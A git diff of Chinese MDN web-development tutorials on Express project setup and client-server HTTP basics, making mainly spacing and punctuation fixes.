+- 布局继承:可以定义基本模板,然后“继承”它的一部分,使不同页面可以有不同的呈现。这通常比包含大量所需组件,或每次从头开始构建模板更好。
- “包含”支持:可以通过包含其他模板来构建新模板。
- 简明的变量和循环控制语法。
- 能够在模板级别过滤变量值(例如,将变量设置为大写,或格式化日期值)。
@@ -143,7 +143,7 @@我应该用哪个 CSS 引擎?
我应该用哪个数据库?
-生成器生成的代码不使用、也不包含任何数据库。 Express 应用可以使用 Node 支持的所有 数据库(Express 本身不提供数据库管理机制)。
+生成器生成的代码不使用、也不包含任何数据库。Express 应用可以使用 Node 支持的所有 数据库(Express 本身不提供数据库管理机制)。
我们后续讨论数据库集成问题。
@@ -210,7 +210,7 @@文件改动时重启服务器
现在,如果编辑项目中的任何文件,服务器将自动重启(或者可以随时使用 rs 命令来重启)。查看更新后的页面需要点击浏览器的“刷新”按钮。
-注:这里必须使用“
+npm run <scriptname>
”命令,而不是npm start
,因为 “start” 本质上是映射到脚本的一条 NPM 命令。我们可以在start
脚本中替换它,但我们只想在开发期间使用 nodemon,因此有必要创建一条新的脚本命令。注:这里必须使用“
npm run <scriptname>
”命令,而不是npm start
,因为“start”本质上是映射到脚本的一条 NPM 命令。我们可以在start
脚本中替换它,但我们只想在开发期间使用 nodemon,因此有必要创建一条新的脚本命令。生成的项目
@@ -219,7 +219,7 @@生成的项目
目录结构
-安装好依赖项的生成项目具有如下文件结构(不带 “/” 前缀的是文件):
+安装好依赖项的生成项目具有如下文件结构(不带“/”前缀的是文件):
/express-locallibrary-tutorial app.js @@ -292,7 +292,7 @@package.json
www 文件
-文件 /bin/www 是应用入口!它做的第一件事是
+require()
“真实” 的应用入口(即项目根目录中的 app.js ),app.js 会设置并返回express()
应用对象。文件 /bin/www 是应用入口!它做的第一件事是
require()
“真实”的应用入口(即项目根目录中的 app.js ),app.js 会设置并返回express()
应用对象。#!/usr/bin/env node @@ -320,7 +320,7 @@-app.js
module.exports = app;上文的 www 入口文件中
+require()
的app
就是这里导出的 。上文的 www 入口文件中
require()
的app
就是这里导出的。我们来详细了解一下 app.js 文件。首先,它使用
@@ -338,10 +338,10 @@require()
导入了一些实用 node 库,其中包括之前用 NPM 下载的express
,http-errors
,morgan
和cookie-parser
,还有一个path
库,它是用于解析文件和目录的核心 node 库。app.js
--注意: 此时我们刚刚导入了模块;还没有真正使用过其中的路由(稍后会使用)。
+注意: 此时我们刚刚导入了模块;还没有真正使用过其中的路由(稍后会使用)。
下面我们用导入的
+express
模块来创建app
对象,然后使用它来设置视图(模板)引擎。设置引擎分两步:首先设置 'views
' 以指定模板的存储文件夹(此处设为子文件夹 /views)。然后设置 'view engine
' 以指定模板库(本例中设为 “pug” )。下面我们用导入的
express
模块来创建app
对象,然后使用它来设置视图(模板)引擎。设置引擎分两步:首先设置 'views
' 以指定模板的存储文件夹(此处设为子文件夹 /views)。然后设置 'view engine
' 以指定模板库(本例中设为“pug” )。var app = express(); @@ -441,7 +441,7 @@视图(模板)
挑战自我
-在 /routes/users.js 中添加一个新路由,在URL
+/users/cool/
处显示文本 "你好酷"。运行服务器,并在浏览器中访问 http://localhost:3000/users/cool/ ,测试一下是否成功。在 /routes/users.js 中添加一个新路由,在 URL
/users/cool/
处显示文本 "你好酷"。运行服务器,并在浏览器中访问 http://localhost:3000/users/cool/ ,测试一下是否成功。diff --git a/files/zh-cn/learn/server-side/express_nodejs/tutorial_local_library_website/index.html b/files/zh-cn/learn/server-side/express_nodejs/tutorial_local_library_website/index.html index af36bb794abdf8..c50e1f801e2b03 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/tutorial_local_library_website/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/tutorial_local_library_website/index.html @@ -1,11 +1,11 @@ --- -title: 'Express 教程: 本地图书馆网站' +title: 'Express 教程:本地图书馆网站' slug: learn/Server-side/Express_Nodejs/Tutorial_local_library_website tags: - Express - Node - nodejs - - web框架 + - web 框架 - 初学者 - 后端框架 - 学习教程 @@ -20,11 +20,11 @@
-
- 预备知识: +预备知识: 阅读 Expres 入门。进行以后的小节还需要阅读 配置 Node 开发环境。 - @@ -60,7 +60,7 @@学习目标: +学习目标: 引入本教程的示例应用,了解所涉及的所有主题。 本地图书馆网站(LocalLi
尽管这个示例具备相当可观的扩展度,但依然有理由把它叫做本地图书馆(LocalLibrary)。 我们希望呈现给你最少的信息,从而帮助你尽快上手并运行 Express。因此,我们只保留书名、本数、作者以及其它关键信息。我们会省略掉其它可能用到的信息,也不会提供多图书馆架构或“大型图书馆"等特性的支持。
-我被难住了,哪里有源代码?
+我被难住了,哪里有源代码?
本教程进行过程中,我们将在每个知识点为你提供适当的代码片段,其中一些内容我们希望你能(在一定指引下)自己填充。
diff --git a/files/zh-cn/learn/server-side/first_steps/client-server_overview/index.html b/files/zh-cn/learn/server-side/first_steps/client-server_overview/index.html index 24a1150da0bd11..b4941d116cd4f4 100644 --- a/files/zh-cn/learn/server-side/first_steps/client-server_overview/index.html +++ b/files/zh-cn/learn/server-side/first_steps/client-server_overview/index.html @@ -19,57 +19,57 @@目标: -理解在动态网站中的客户端-服务器端交互过程,尤其是服务器端代码需要承担的工作 +理解在动态网站中的客户端 - 服务器端交互过程,尤其是服务器端代码需要承担的工作 到目前为止的讨论中还没有真正的代码,因为我们还没有选择一个web框架来写我们的代码呢!然而这个讨论仍旧十分重要,因为我们描述的行为必须通过你的服务器端代码来实现,不管你选择什么编程语言和web框架。
+到目前为止的讨论中还没有真正的代码,因为我们还没有选择一个 web 框架来写我们的代码呢!然而这个讨论仍旧十分重要,因为我们描述的行为必须通过你的服务器端代码来实现,不管你选择什么编程语言和 web 框架。
-网络服务器和HTTP(入门)
+网络服务器和 HTTP(入门)
-网络浏览器通过超文本标记语言传输协议(HTTP)与网络服务器(web servers)。 当你在网页上点击一个链接、提交一个表单、或者进行一次搜索的时候,浏览器发送一个HTTP请求给服务器。
+网络浏览器通过超文本标记语言传输协议(HTTP)与网络服务器(web servers)。 当你在网页上点击一个链接、提交一个表单、或者进行一次搜索的时候,浏览器发送一个 HTTP 请求给服务器。
这个请求包含:
-
-- 一个用来识别目标服务器和资源(比如一个HTML文档、存储在服务器上的一个特定的数据、或者一个用来运行的工具等)的URL。
+- 一个用来识别目标服务器和资源(比如一个 HTML 文档、存储在服务器上的一个特定的数据、或者一个用来运行的工具等)的 URL。
- 一个定义了请求行为的方法(比如,获得一个文档或者上传某些数据)。不同的方法/动作以及与他们相关的行为罗列如下:
--
- GET:获取一份指定(比如一个包含了一个产品或者一系列产品相关信息的HTML文档)。
-- POST:创建一份新的资源(比如给wiki增加一片新的文章、给数据库增加一个新的节点)。
-- +
HEAD
: 获取有关指定资源的元数据信息,而不会得到像GET的内容部分。例如,您可以使用HEAD请求来查找上次更新资源的时间,然后仅使用(更“昂贵”)GET请求下载资源(如果已更改)。- GET:获取一份指定(比如一个包含了一个产品或者一系列产品相关信息的 HTML 文档)。
+- POST:创建一份新的资源(比如给 wiki 增加一片新的文章、给数据库增加一个新的节点)。
+HEAD
: 获取有关指定资源的元数据信息,而不会得到像 GET 的内容部分。例如,您可以使用 HEAD 请求来查找上次更新资源的时间,然后仅使用(更“昂贵”)GET 请求下载资源(如果已更改)。- PUT:更新一份已经存在的资源(或者在该资源不存在的情况下创建一份新的)。
- DELETE:删除指定的资源。
TRACE
、OPTIONS
、CONNECT、PATCH
等动作是为一些不常见任务设计的,因此我们在这里的讲解不会涉及到他们。- 额外的信息可以和请求一起被编码(比如HTML表单数据)。信息可以被编码成如下: +
- 额外的信息可以和请求一起被编码(比如 HTML 表单数据)。信息可以被编码成如下:
-
- URL参数:GET请求通过在URL末尾增加的键值对,来编码包含在发送给服务器的URL中的数据——比如,
-http://mysite.com?name=Fred&age=11
,你经常会用到问号(?)来将URL剩余的部分和URL参数分隔开来,一个赋值符号(=)将名称和与之相关的值分隔开来,然后一个“&”符号分割不同的键值对。当他们被用户改变然后提交时,URL参数具有与生俱来地“不安全性”。因此,一个URL参数或者GET请求是不会用来在服务器上更新数据的。- POST数据:POST请求会增加新的资源,这些数据将会在请求体中编码。
-- 客户端cookie:cookies包含与客户相关的会话数据,服务器可以用这些数据来判断用户的登录状态以及用户是否有访问资源的权限。
+- URL 参数:GET 请求通过在 URL 末尾增加的键值对,来编码包含在发送给服务器的 URL 中的数据——比如,
+http://mysite.com?name=Fred&age=11
,你经常会用到问号(?)来将 URL 剩余的部分和 URL 参数分隔开来,一个赋值符号(=)将名称和与之相关的值分隔开来,然后一个“&”符号分割不同的键值对。当他们被用户改变然后提交时,URL 参数具有与生俱来地“不安全性”。因此,一个 URL 参数或者 GET 请求是不会用来在服务器上更新数据的。- POST 数据:POST 请求会增加新的资源,这些数据将会在请求体中编码。
+- 客户端 cookie:cookies 包含与客户相关的会话数据,服务器可以用这些数据来判断用户的登录状态以及用户是否有访问资源的权限。
网络服务器等待来自客户的请求信息,当请求到达时处理它们,然后发给浏览器HTTP响应消息。回应包含一个HTTP响应状态码(HTTP Response status code)来暗示请求是否成功 (比如 "
+200 OK
" 连接成功, "404 Not Found
" 资源没有找到, "403 Forbidden
" 用户没有被授权查看资源, 等等). 一个成功的响应主体,会包含GET请求所请求的资源.网络服务器等待来自客户的请求信息,当请求到达时处理它们,然后发给浏览器 HTTP 响应消息。回应包含一个 HTTP 响应状态码(HTTP Response status code)来暗示请求是否成功 (比如 "
-200 OK
" 连接成功, "404 Not Found
" 资源没有找到,"403 Forbidden
" 用户没有被授权查看资源,等等). 一个成功的响应主体,会包含 GET 请求所请求的资源。当一个HTML页面被返时,页面会被网络浏览器呈现出来。作为处理工作的一部分,浏览器会发现指向其他资源的链接(比如,一个HTML页面通常会参考Javascript和CSS页面),并且会发送独立的HTTP请求来下载这些文件。
+当一个 HTML 页面被返时,页面会被网络浏览器呈现出来。作为处理工作的一部分,浏览器会发现指向其他资源的链接(比如,一个 HTML 页面通常会参考 Javascript 和 CSS 页面),并且会发送独立的 HTTP 请求来下载这些文件。
静态网站和动态网站(在接下来的部分讨论到的)正是使用同一种通信协议/模式
GET请求/响应举例
-你可以通过点击一个链接或者在网站进行一次搜索(比如搜索引擎的首页)做出一次简单的GET请求。比如,当你在MDN上进行一次对“客户端概览”词条的搜索时,HTTP请求就被发送出去了,你将会看到正如下面一样被展示出来的文本信息(展示出来的信息不一定是相同的,因为其中一部分信息还取决于你的浏览器)。
+你可以通过点击一个链接或者在网站进行一次搜索(比如搜索引擎的首页)做出一次简单的 GET 请求。比如,当你在 MDN 上进行一次对“客户端概览”词条的搜索时,HTTP 请求就被发送出去了,你将会看到正如下面一样被展示出来的文本信息(展示出来的信息不一定是相同的,因为其中一部分信息还取决于你的浏览器)。
-HTTP消息的格式是在“网络标准”(RFC7230)中定义的。你不需要知道这个标准的细节,但是现在你至少得知道所有这些是来自哪儿的!
+HTTP 消息的格式是在“网络标准”(RFC7230)中定义的。你不需要知道这个标准的细节,但是现在你至少得知道所有这些是来自哪儿的!
请求
-每一行请求都包含着相关信息。第一部分被称为header,并且包含着关于这个请求的有用信息,同样地一个HTML head包含着关于HTML文档的有用信息(但是却没有自身的实际内容,内容在主体里面)。
+每一行请求都包含着相关信息。第一部分被称为header,并且包含着关于这个请求的有用信息,同样地一个HTML head包含着关于 HTML 文档的有用信息(但是却没有自身的实际内容,内容在主体里面)。
GET https://developer.mozilla.org/en- US/search?q=client+server+overview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev HTTP/1.1 @@ -91,37 +91,37 @@请求
-
- 请求类型(GET)。
-- 目标资源的URL(
-/en-US/search
)。- URL参数(
+q=client%2Bserver%2Boverview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev)。
- 目标资源的 URL(
+/en-US/search
)。- URL 参数(
q=client%2Bserver%2Boverview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev)。
- 目标网站(developer.mozilla.org)。
- 第一行的末尾也包含了一个简短的包含了标识协议版本的字符串(
HTTP/1.1
)。最后一行包括一些关于客户端cookies的信息——你可以看到在这种情况下cookies包含一个为处理远程会话准备的ID(
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...
)。最后一行包括一些关于客户端 cookies 的信息——你可以看到在这种情况下 cookies 包含一个为处理远程会话准备的 ID(
Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...
)。剩余几行包含着所使用的浏览器以及浏览器所能处理的回应类型等信息。比如,你可以在下面看到这些相关信息:
-
- 我的浏览器上(
-User-Agent
)是火狐(Mozilla/5.0
).- 它可以接收gzip压缩信息(
-Accept-Encoding: gzip
).- 它可以接收的具体编码类型(
-Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7
)和语言(Accept-Language: de,en;q=0.7,en-us;q=0.3
).- The
+Referer
line提示包含资源链接的网络地址(或者说请求的来源是https://developer.mozilla.org/en-US/
).- 我的浏览器上 (
+User-Agent
) 是火狐 (Mozilla/5.0
).- 它可以接收 gzip 压缩信息 (
+Accept-Encoding: gzip
).- 它可以接收的具体编码类型 (
+Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7
) 和语言 (Accept-Language: de,en;q=0.7,en-us;q=0.3
).- The
Referer
line 提示包含资源链接的网络地址 (或者说请求的来源是https://developer.mozilla.org/en-US/
).请求也可以有一个请求体,不过在这个例子中请求的请求体是空的。
回应
-针对这个请求的回应的第一部分内容展示如下。The header包含了如下信息:
+针对这个请求的回应的第一部分内容展示如下。The header 包含了如下信息:
-
-- 第一行包括了回应状态码200 OK,这告诉我们请求是成功的。
+- 第一行包括了回应状态码 200 OK,这告诉我们请求是成功的。
- 我们可以看到回应是文本
-/html格式的
(Content-Type
).- 我们也可以看到它使用的是UTF-8字符集(
-Content-Type: text/html; charset=utf-8
).- The head也告诉我们它有多大(
+Content-Length: 41823
).- 我们也可以看到它使用的是 UTF-8 字符集 (
+Content-Type: text/html; charset=utf-8
).- The head 也告诉我们它有多大 (
Content-Length: 41823
).在消息的末尾我们可以看到主体内容——包含了针对请求返回的真实的HTML。
+在消息的末尾我们可以看到主体内容——包含了针对请求返回的真实的 HTML。
HTTP/1.1 200 OK Server: Apache @@ -147,15 +147,15 @@-回应
...header的剩余部分还包括一些回应的其他信息(比如回应在什么时候生成的),有关服务器的信息,还有它期望浏览器如何处理这个包(比如,
+X-Frame-Options: DENY
告诉浏览器不允许这个网页嵌入在其他网站的HTML元素{{htmlelement("iframe")}}上。header 的剩余部分还包括一些回应的其他信息(比如回应在什么时候生成的),有关服务器的信息,还有它期望浏览器如何处理这个包(比如,
X-Frame-Options: DENY
告诉浏览器不允许这个网页嵌入在其他网站的 HTML 元素{{htmlelement("iframe")}}上。POST 请求/响应举例
-当你提交一个表单,并且希望表单所包含的信息存储到服务器的时候,你就生成了一次HTTP POST请求。
+当你提交一个表单,并且希望表单所包含的信息存储到服务器的时候,你就生成了一次 HTTP POST 请求。
请求
-下面的文本展示了当用户在网站上提交新的文件的时候,生成的一个HTTP请求的格式和之前展示的GET请求是非常相似的,只是第一行标识这个请求为POST。
+下面的文本展示了当用户在网站上提交新的文件的时候,生成的一个 HTTP 请求的格式和之前展示的 GET 请求是非常相似的,只是第一行标识这个请求为 POST。
POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1 Host: developer.mozilla.org @@ -175,11 +175,11 @@-请求
csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&user-username=hamishwillee&user-fullname=Hamish+Willee&user-title=&user-organization=&user-location=Australia&user-locale=en-US&user-timezone=Australia%2FMelbourne&user-irc_nickname=&user-interests=&user-expertise=&user-twitter_url=&user-stackoverflow_url=&user-linkedin_url=&user-mozillians_url=&user-facebook_url=最主要的不同在于URL不再包含任何参数。正如你所见,表单提交的信息被编码后放入消息主体中了。(比如:使用以下命令设置新的用户全名:
+&user-fullname=Hamish+Willee
)最主要的不同在于 URL 不再包含任何参数。正如你所见,表单提交的信息被编码后放入消息主体中了。(比如:使用以下命令设置新的用户全名:
&user-fullname=Hamish+Willee
)响应
-请求的响应如下。状态码"302 FOUND"告知浏览器,服务端已收到它提交的post请求,它必须再发出第二个HTTP请求来加载
+Location
字段中指定的页面。对于其他方面的信息含义,则与GET
请求的响应信息类似。请求的响应如下。状态码"302 FOUND"告知浏览器,服务端已收到它提交的 post 请求,它必须再发出第二个 HTTP 请求来加载
Location
字段中指定的页面。对于其他方面的信息含义,则与GET
请求的响应信息类似。HTTP/1.1 302 FOUND Server: Apache @@ -197,12 +197,12 @@响应
-注意: 上面展示的HTTP请求和响应式通过Fiddler软件来捕获的,你也可以得到相似的信息通过使用网络嗅探器(比如http://web-sniffer.net/)或者使用浏览器扩展例如 HttpFox。你可以自己尝试一下。使用任何一个上面链接的工具,浏览一个站点并修改主要信息来观察不同的请求和响应。更多的现代浏览器拥有网络监控工具(例如,在Firefox上的 Network Monitor 工具)。
+注意: 上面展示的 HTTP 请求和响应式通过 Fiddler 软件来捕获的,你也可以得到相似的信息通过使用网络嗅探器(比如http://web-sniffer.net/)或者使用浏览器扩展例如 HttpFox。你可以自己尝试一下。使用任何一个上面链接的工具,浏览一个站点并修改主要信息来观察不同的请求和响应。更多的现代浏览器拥有网络监控工具(例如,在 Firefox 上的 Network Monitor 工具)。
静态网站
-静态网站是指每当请求一个特定的资源时,会从服务器返回相同的硬编码内容。因此,例如,如果您在
+/static/myproduct1.html
有一个关于产品的页面,则该页面将返回给每个用户。如果您添加另一个类似的产品到您的网站,您将需要添加另一个页面(例如myproduct2.html
)等。这可能开始变得非常低效 :当您访问数千个产品页面时会发生什么——你会在每个页面(基本的页面模板,结构等等)上重复很多代码,如果你想改变页面结构的任何东西,比如添加一个新的“相关产品”部分,必须单独更改每个页面。静态网站是指每当请求一个特定的资源时,会从服务器返回相同的硬编码内容。因此,例如,如果您在
/static/myproduct1.html
有一个关于产品的页面,则该页面将返回给每个用户。如果您添加另一个类似的产品到您的网站,您将需要添加另一个页面(例如myproduct2.html
)等。这可能开始变得非常低效:当您访问数千个产品页面时会发生什么——你会在每个页面(基本的页面模板,结构等等)上重复很多代码,如果你想改变页面结构的任何东西,比如添加一个新的“相关产品”部分,必须单独更改每个页面。-注释: 当你有少量页面时,向每个用户发送相同的内容时,静态网站是最佳选择, 然而随着页面数量的增加,它们的维护成本也会很高。
@@ -212,42 +212,42 @@静态网站
-当用户想要导航到页面时,浏览器会发送一个指定HTML页面的URL的HTTP的
+GET
请求。
- 服务器从它的文件系统中检索所请求的文档,并返回包含文档和HTTP响应状态码“200 OK
”(表示成功)的HTTP响应。服务器可能会返回一个不同的状态码,例如,"404 Not Found
"表明文件不在服务器上,或者"301 Moved Permanently
"表明如果文件存在,则被重定向到另一个位置。当用户想要导航到页面时,浏览器会发送一个指定 HTML 页面的 URL 的 HTTP 的
-GET
请求。
+ 服务器从它的文件系统中检索所请求的文档,并返回包含文档和 HTTP 响应状态码“200 OK
”(表示成功) 的 HTTP 响应。服务器可能会返回一个不同的状态码,例如,"404 Not Found
"表明文件不在服务器上,或者"301 Moved Permanently
"表明如果文件存在,则被重定向到另一个位置。静态站点的服务器只需要处理 GET 请求,因为服务器不存储任何可修改的数据。它也不会根据HTTP请求数据(例如 URL 参数或 cookie)更改响应。
+静态站点的服务器只需要处理 GET 请求,因为服务器不存储任何可修改的数据。它也不会根据 HTTP 请求数据(例如 URL 参数或 cookie)更改响应。
-了解静态站点如何工作在学习服务器端编程时非常有用,因为动态站点以完全相同的方式处理对静态文件(CSS、JavaScript、静态图像等)的请求。
+了解静态站点如何工作在学习服务器端编程时非常有用,因为动态站点以完全相同的方式处理对静态文件 (CSS、JavaScript、静态图像等) 的请求。
动态网站
-动态站点可以根据特定的请求 URL 和数据生成和返回内容(而不是总是返回同一个URL的硬编码文件)。使用产品网页的示例,服务器将把产品“数据”存储在数据库中,而不是单独的HTML文件。当接收到一个产品的HTTP
+GET
请求时,服务器将确定产品 ID,从数据库中获取数据,然后通过将数据插入到HTML模板中来构造响应的HTML页面。与静态站点相比,这有很大的优势动态站点可以根据特定的请求 URL 和数据生成和返回内容 (而不是总是返回同一个 URL 的硬编码文件)。使用产品网页的示例,服务器将把产品“数据”存储在数据库中,而不是单独的 HTML 文件。当接收到一个产品的 HTTP
GET
请求时,服务器将确定产品 ID,从数据库中获取数据,然后通过将数据插入到 HTML 模板中来构造响应的 HTML 页面。与静态站点相比,这有很大的优势通过使用数据库,可以有效地将产品信息存储在易于扩展、可修改和可搜索的方式中。
-使用 HTML 模板可以很容易地改变HTML结构,因为这只需要在一个模板中的某一处地方完成,而不需要跨越数千个静态页面。
+使用 HTML 模板可以很容易地改变 HTML 结构,因为这只需要在一个模板中的某一处地方完成,而不需要跨越数千个静态页面。
剖析动态请求
-本节将逐步概述“动态” HTTP 请求和响应周期,以更详细的内容构建我们在上一篇文章中所看到的内容。为了“让事情保持真实”,我们将使用一个体育团队经理网站的情景,在这个网站上,教练可以用 HTML 表单选择他们的球队名称和球队规模,并为他们的下一场比赛中获得建议的“最佳阵容”。
+本节将逐步概述“动态”HTTP 请求和响应周期,以更详细的内容构建我们在上一篇文章中所看到的内容。为了“让事情保持真实”,我们将使用一个体育团队经理网站的情景,在这个网站上,教练可以用 HTML 表单选择他们的球队名称和球队规模,并为他们的下一场比赛中获得建议的“最佳阵容”。
-下面的图表显示了“球队教练”网站的主要元素,以及当教练访问他们的“最佳团队”列表时,操作序列的编号。使其动态的站点的部分是 Web 应用程序(这就是我们将如何引用处理 HTTP 请求并返回 HTTP 响应的服务器端代码)数据库,该数据库包含关于球员、球队、教练及其关系以及HTML 模板的信息。
+下面的图表显示了“球队教练”网站的主要元素,以及当教练访问他们的“最佳团队”列表时,操作序列的编号。使其动态的站点的部分是 Web 应用程序(这就是我们将如何引用处理 HTTP 请求并返回 HTTP 响应的服务器端代码)数据库,该数据库包含关于球员、球队、教练及其关系以及 HTML 模板的信息。
在教练提交球员名单和球员人数后,其操作顺序为:
-
-- Web 浏览器使用资源的基本 URL(
-/best
)来创建一个HTTPGET
请求,将球队和球员编号附加到URL后面作为参数(例如/best?team = my_team_name&show = 11
)或作为URL地址的一部分(例如/best/my_team_name/11/
)。使用GET
请求是因为请求只是获取数据(而不是修改数据)。- Web 服务器检测到请求是“动态的”,并将其转发给 Web 应用程序(Web Application)进行处理( Web 服务器根据其配置中定义的模式匹配规则确定如何处理不同的 URL )。
+- Web 浏览器使用资源的基本 URL(
+/best
)来创建一个 HTTPGET
请求,将球队和球员编号附加到 URL 后面作为参数(例如/best?team = my_team_name&show = 11
)或作为 URL 地址的一部分(例如/best/my_team_name/11/
)。使用GET
请求是因为请求只是获取数据(而不是修改数据)。- Web 服务器检测到请求是“动态的”,并将其转发给 Web 应用程序(Web Application)进行处理(Web 服务器根据其配置中定义的模式匹配规则确定如何处理不同的 URL)。
- Web 应用程序(Web Application)确定请求的意图是根据 URL(
-/best/
)获得“最佳团队列表”,并从 URL 中找出所需的球队名称和球员人数。然后,Web 应用程序(Web Application)从数据库中获取所需的信息(使用额外的“内部”参数来定义哪些球员是“最好”的,并且可能还从客户端 cookie 获得登录教练的身份)。- Web应用程序(Web Application)通过将数据(来自数据库)放入 HTML 模板中的占位符中动态地创建 HTML页面。
-- Web应用程序(Web Application)将生成的HTML(通过Web服务器)和HTTP状态代码200(“成功”)返回到Web浏览器。如果有任何东西阻止HTML被返回,那么Web应用程序将返回另一个状态代码 - 例如“404”来表示球队不存在。
-- 然后,Web 浏览器将开始处理返回的 HTML ,发送单独的请求以获取其引用的任何其他 CSS 或 JavaScript 文件(请参阅步骤7)。
-- Web 服务器从文件系统加载静态文件,并直接返回到浏览器(同样,正确的文件处理基于配置规则和URL模式匹配)。
+- Web 应用程序(Web Application)通过将数据(来自数据库)放入 HTML 模板中的占位符中动态地创建 HTML 页面。
+- Web 应用程序(Web Application)将生成的 HTML(通过 Web 服务器)和 HTTP 状态代码 200(“成功”)返回到 Web 浏览器。如果有任何东西阻止 HTML 被返回,那么 Web 应用程序将返回另一个状态代码 - 例如“404”来表示球队不存在。
+- 然后,Web 浏览器将开始处理返回的 HTML,发送单独的请求以获取其引用的任何其他 CSS 或 JavaScript 文件(请参阅步骤 7)。
+- Web 服务器从文件系统加载静态文件,并直接返回到浏览器(同样,正确的文件处理基于配置规则和 URL 模式匹配)。
在服务器中,更新数据库中的记录的操作将被类似地与上述过程一样处理,但是更新数据库的这一类的操作,应该指定来自浏览器的HTTP请求为
+POST
请求。在服务器中,更新数据库中的记录的操作将被类似地与上述过程一样处理,但是更新数据库的这一类的操作,应该指定来自浏览器的 HTTP 请求为
POST
请求。完成其他工作
@@ -255,17 +255,17 @@完成其他工作
一个 Web 应用程序(Web Application)可能执行的额外任务的一个很好的例子就是发送一封电子邮件给用户,以确认他们在网站上的注册。该网站也可能执行日志记录或其他操作。 -返回HTML以外的内容
+返回 HTML 以外的内容
-服务器端网站代码并非只能在响应中返回 HTML 代码片段/文件。它可以动态地创建和返回其他类型的文件(text,PDF,CSV 等)甚至是数据(JSON,XML等)。
+服务器端网站代码并非只能在响应中返回 HTML 代码片段/文件。它可以动态地创建和返回其他类型的文件(text,PDF,CSV 等)甚至是数据(JSON,XML 等)。
-
将数据返回到 Web 浏览器以便它可以动态更新自己的内容(AJAX)的想法实现已经有相当长的一段时间了。最近,“单页面应用程序”已经变得流行起来,整个网站用一个 HTML 文件编写,在需要时动态更新。使用这种风格的应用程序创建的网站将大量的计算成本从服务器推向网络浏览器,并可能导致网站表现出更像本地应用程序(高度响应等)。web框架简化服务器端的web编程
+web 框架简化服务器端的 web 编程
-服务器端web框架使得编写解决我们上面描述的操作的代码变得简单得多。
+服务器端 web 框架使得编写解决我们上面描述的操作的代码变得简单得多。
-web 框架可以提供的一个最重要的功能就是,提供简单的机制,以将不同的资源和页面定位到具体的处理函数。这使得保持代码和各个不同形式的资源的联系变得简单。它也非常利于代码的维护,因为你可以直接改变在一个地方用来传输特定功能的URL,而不用改变处理函数。
+web 框架可以提供的一个最重要的功能就是,提供简单的机制,以将不同的资源和页面定位到具体的处理函数。这使得保持代码和各个不同形式的资源的联系变得简单。它也非常利于代码的维护,因为你可以直接改变在一个地方用来传输特定功能的 URL,而不用改变处理函数。
举个例子,我们来思考一下下面的 Django(python) 代码,这些代码将两个 URL 地址定位到两个页面。第一个地址确保了,一个包含了
@@ -284,12 +284,12 @@/best/
URL 的 HTTP 请求,可以被传递到一个在views
模块的被命名为index()
的函数。一个含有"/best/junior
"的请求则会被传递到junior()
视图函数。web框架简化服务器端的w ]
--注意: 在
+url()
函数中的第一个参数可能看起来有点古怪 (比如r'^junior/$
) 因为他们使用一个叫做“正则表达式”(RegEx, or RE)的字符匹配机制。在这里,你还不需要知道正则表达式是如何工作的,除了要知道它们是如何允许我们在URL中匹配到字符的 (而不是像上面的硬编码) 并且知道如何在我们的视图函数中将它们用作参数。举个例子,一个真正简单的正则表达式可能会说“匹配一个大写字母,后面跟着4到7个小写字母”"注意: 在
url()
函数中的第一个参数可能看起来有点古怪 (比如r'^junior/$
) 因为他们使用一个叫做“正则表达式”(RegEx, or RE) 的字符匹配机制。在这里,你还不需要知道正则表达式是如何工作的,除了要知道它们是如何允许我们在 URL 中匹配到字符的 (而不是像上面的硬编码) 并且知道如何在我们的视图函数中将它们用作参数。举个例子,一个真正简单的正则表达式可能会说“匹配一个大写字母,后面跟着 4 到 7 个小写字母”"Web 框架还可以轻松地使用查看函数,从数据库获取信息。我们的数据结构是在模型中定义的,模型是定义要存储在底层数据库中的字段的Python类。如果我们有一个名为Team的模型,其中有一个“team_type”字段,那么我们可以使用一个简单的查询语法来取回所有具有特定类型的球队。
+Web 框架还可以轻松地使用查看函数,从数据库获取信息。我们的数据结构是在模型中定义的,模型是定义要存储在底层数据库中的字段的 Python 类。如果我们有一个名为 Team 的模型,其中有一个“team_type”字段,那么我们可以使用一个简单的查询语法来取回所有具有特定类型的球队。
-下面的例子得到了所有字段team_type(区分大小写)为“junior”的所有球队的列表 - 注意格式:字段名称(team_type),后面跟着双下划线,然后是使用的匹配类型)。还有很多其他的匹配类型,我们可以组合他们。我们也可以控制返回结果的顺序和数量。
+下面的例子得到了所有字段 team_type(区分大小写)为“junior”的所有球队的列表 - 注意格式:字段名称(team_type),后面跟着双下划线,然后是使用的匹配类型)。还有很多其他的匹配类型,我们可以组合他们。我们也可以控制返回结果的顺序和数量。
#best/views.py @@ -304,14 +304,14 @@-web框架简化服务器端的w return render(request, 'best/index.html', context)
+
junior()
函数获得少年组列表后,它调用render()
函数,传递原始的HttpRequest,一个HTML模板和一个定义要包含在模板中的信息的“context”对象。render()
函数是一个方便的函数,它使用上下文和HTML模板生成 HTML,并将其返回到HttpResponse
对象中-
junior()
函数获得少年组列表后,它调用render()
函数,传递原始的 HttpRequest,一个 HTML 模板和一个定义要包含在模板中的信息的“context”对象。render()
函数是一个方便的函数,它使用上下文和 HTML 模板生成 HTML,并将其返回到HttpResponse
对象中显然地 web 框架可以帮助你解决很多问题。我们在下一篇文章里将会大量讨论这些好处和一些流行的web框架。
+显然地 web 框架可以帮助你解决很多问题。我们在下一篇文章里将会大量讨论这些好处和一些流行的 web 框架。
总结
-到这里你应该对于服务器端代码不得不进行的操作有一个整体上的理解,并且知道一个服务器端web框架是从那些方面让这些变得更简单的。
+到这里你应该对于服务器端代码不得不进行的操作有一个整体上的理解,并且知道一个服务器端 web 框架是从那些方面让这些变得更简单的。
-在接下来的模块里面我们会帮助你选择对于你的第一个网站来说最适合的web框架。
+在接下来的模块里面我们会帮助你选择对于你的第一个网站来说最适合的 web 框架。
